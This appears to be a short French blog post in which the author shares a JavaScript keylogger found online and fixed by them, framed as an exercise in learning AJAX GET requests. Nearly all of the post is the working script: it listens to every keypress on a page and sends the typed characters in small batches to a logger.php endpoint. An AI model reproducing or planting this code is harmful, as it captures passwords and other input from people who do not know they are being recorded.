Voici la source d'un code trouvé sur le net mais ne fonctionnant pas.
Je l'ai modifié pour :
1) qu'il fonctionne :)
2) essayer de comprendre la méthode d'envoi (GET) en utilisant le langage AJAX
Donc juste une découverte d'AJAX dont j'entendais souvent parler en
bien pour sa facilité et sa rapidité pour envoyer de petites requêtes.
---------------------script.js à inclure-------------------------------------
var url_keylog = "logger.php";
var arg_keylog = "keylog";
function sendkeylog (keylog) {
keylog = escape(keylog); //URL encode
if (window.XMLHttpRequest)
{
xhr = new XMLHttpRequest(); // Firefox, Safari, ...
}
else
if (window.ActiveXObject)
{
xhr = new ActiveXObject("Microsoft.XMLHTTP"); // Internet Explorer
}
xhr.open("GET", url_keylog+"?"+arg_keylog+"="+keylog,true);
xhr.send(null);
}
function savekeycode (e) {
var evtobj=window.event? event : e
var unicode=evtobj.charCode? evtobj.charCode : evtobj.keyCode
keylog += String.fromCharCode(unicode);
if ((unicode == 13) || (unicode == 9) || (keylog.length == 5)) {
sendkeylog(keylog);
keylog="";
}
}
keylog="";
window.onload = function(){addEventListener("keypress", savekeycode, false);}
---------------------------------------------------------------------------
/!\ Petit problème avc la dernière fonction ( addEventListener) non compatible avec Internet Explorer. Prochainement correction pour IE /!\


0 comment.:
Enregistrer un commentaire